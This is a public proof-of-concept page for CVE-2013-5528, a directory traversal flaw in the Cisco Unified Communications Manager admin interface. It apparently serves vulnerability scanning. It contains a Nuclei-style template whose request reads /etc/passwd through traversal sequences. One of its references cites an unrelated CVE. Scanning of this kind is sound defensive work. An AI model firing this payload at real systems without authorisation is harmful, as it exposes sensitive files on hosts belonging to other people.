CVE-2013-5528: Cisco Unified Communications Manager 7/8/9 - Directory Traversal

2025-08-01 Cisco Unified Communications Manager PoC Public

Description

A directory traversal vulnerability in the Tomcat administrative web interface in Cisco Unified Communications Manager allows remote authenticated users to read arbitrary files via directory traversal sequences in an unspecified input string, aka Bug ID CSCui78815

PoC

id: CVE-2013-5528

info:
  name: Cisco Unified Communications Manager 7/8/9 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Tomcat administrative web interface in Cisco Unified Communications Manager allows remote authenticated users to read arbitrary files via directory traversal sequences in an unspecified input string, aka Bug ID CSCui78815
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to access sensitive files and directories on the affected system.
  remediation: |
    Apply the necessary security patches or updates provided by Cisco to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/40887
    - https://nvd.nist.gov/vuln/detail/CVE-2014-3120
    - http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-5528
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:S/C:P/I:N/A:N
    cvss-score: 4
    cve-id: CVE-2013-5528
    cwe-id: CWE-22
    epss-score: 0.23309
    epss-percentile: 0.9766
    cpe: cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: unified_communications_manager
  tags: cve2013,cve,lfi,cisco,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ccmadmin/bulkvivewfilecontents.do?filetype=samplefile&fileName=../../../../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fc0d65db81535aaf6c8ac43b9dfb8951a90a8fe910dfd6ea6da812d33d3cf29c022100a16c21e768f05b6afb4317db9e67a21bca19ba6119cd55408c25e89ecbd0fb45:922c64590222798bb761d5b6d8e72950

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